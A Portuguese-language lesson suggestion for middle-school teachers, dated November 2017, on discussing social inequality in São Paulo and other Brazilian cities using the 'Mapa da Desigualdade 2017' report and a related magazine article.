ProfessoresDesigualdade social em pauta

24 de novembro de 2017

Que tal trabalhar com seus alunos do Ensino Fundamental II, as discrepâncias sociais existentes nas diferentes regiões do país? Discuta com o seu grupo de estudantes o que gera a desigualdade social e quais são os indicadores que apontam essas diferenças entre os estados, cidades ou bairros do Brasil. Para disparar essa reflexão, leia com os...

Que tal trabalhar com seus alunos do Ensino Fundamental II, as discrepâncias sociais existentes nas diferentes regiões do país? Discuta com o seu grupo de estudantes o que gera a desigualdade social e quais são os indicadores que apontam essas diferenças entre os estados, cidades ou bairros do Brasil. Para disparar essa reflexão, leia com os alunos a matéria da editoria Bem-Estar, da edição 126 “Mapa da desigualdade”, que versa sobre as discrepâncias sociais da cidade de São Paulo.

Leia agora: https://goo.gl/sQSZHa

Possibilite que os alunos reflitam sobre os indicadores avaliados no “Mapa da Desigualdade 2017”, documento publicado no final de outubro desse ano, pela Rede Nossa São Paulo. O objetivo desse documento é tornar visível, com números, as discrepâncias sociais entre as diferentes regiões da capital paulista.

Com base na reportagem, promova a discussão: o que acontece na maior cidade brasileira pode ser visto em outras cidades do país? Há um quadro semelhante em outras cidades? Quais são as semelhanças?  E quais as diferenças?

Em uma discussão interdisciplinar entre as áreas de língua portuguesa e geografia, debatam sobre as relações entre as populações menos favorecidas socialmente e os locais em que vivem. Há algum traço na geografia do lugar que interfira em tal distribuição social?  O que significa estar na periferia da cidade? O que pode tornar um bairro mais nobre do que outro?

Após essa análise, caso sua escola não esteja situada na cidade de São Paulo, descubram o que os índices de saúde, educação, esporte, criminalidade e cultura revelam na sua cidade. Possibilite que seus alunos fiquem atentos a essas questões. E determinem, em uma atividade coletiva na escola: que ações poderiam reverter tais quadros de desigualdade?  

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